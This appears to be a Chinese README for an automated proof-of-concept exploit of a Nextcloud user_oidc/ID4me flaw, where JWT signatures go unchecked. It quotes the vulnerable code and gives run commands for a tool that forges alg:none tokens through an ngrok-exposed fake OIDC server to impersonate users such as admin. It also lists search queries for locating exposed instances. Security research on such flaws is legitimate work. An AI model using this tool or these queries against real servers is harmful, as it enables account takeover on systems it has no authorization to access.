每一个 CVE 背后都有一个故事。这个漏洞是在一个寒冷的冬夜凌晨 2 点发现的,伴随着分手混音单曲循环。阅读完整的技术深度剖析、情感过山车以及零信任经验教训:
🔗 阅读完整博客文章 (链接你的博客文章)
在处理从 ID4me 身份提供商接收的 JWT 令牌时,Nextcloud 的 user_oidc 应用使用 base64_decode() 处理令牌载荷,而未验证加密签名。
// 第 248 - 252 行
[$header, $payload, $signature] = explode('.', $data['id_token']);
$plainHeaders = json_decode(base64_decode($header), true);
$plainPayload = json_decode(base64_decode($payload), true);
/** TODO: 验证签名! */
$user = $this->manager->getOrCreate($plainPayload['sub'], ...);
alg: none JWT 伪造nextcloud_id4me_poc.py 是一个全自动、武器化的框架。
alg: none JWT 令牌。pyngrok 自动将假服务器暴露给目标。# 1. 安装依赖
pip install requests pyngrok
# 2. 添加你的免费 Ngrok 认证令牌
ngrok config add-authtoken <YOUR_NGROK_TOKEN>
python nextcloud_id4me_poc.py <TARGET_URL> [--user <USERNAME>] [--port <PORT>]
python nextcloud_id4me_poc.py https://target.lab --user admin
(你将看到一个故障艺术黑客横幅初始化,随后是自动化的利用流程,最后是漏洞报告。)
用于识别可能安装了 user_oidc 应用的存在漏洞的 Nextcloud 实例:
title:"Nextcloud" http.html:"user_oidc"
title:"Nextcloud" http.html:"id4me"
http.title:"Nextcloud" http.html:"/apps/user_oidc/"
注意:安装了该应用并不自动意味着目标存在漏洞。
此 PoC 仅供教育和授权的安全测试目的使用。
此脚本旨在供安全研究人员和漏洞赏金猎人用于测试他们拥有明确授权进行审计的系统。未经授权将此工具用于你不拥有或没有明确书面许可测试的系统是严格禁止的,并可能违反当地、州和联邦法律。
作者(CyberTechAjju)不承担任何责任,也不对因使用本程序造成的任何误用或损害负责。
| 参数 | 描述 | 默认值 |
|---|
<TARGET_URL> | 存在漏洞的 Nextcloud 实例 | 必需 |
--user | 要冒充的用户名 | admin |
--port | 假 OIDC 服务器的本地端口 | 9999 |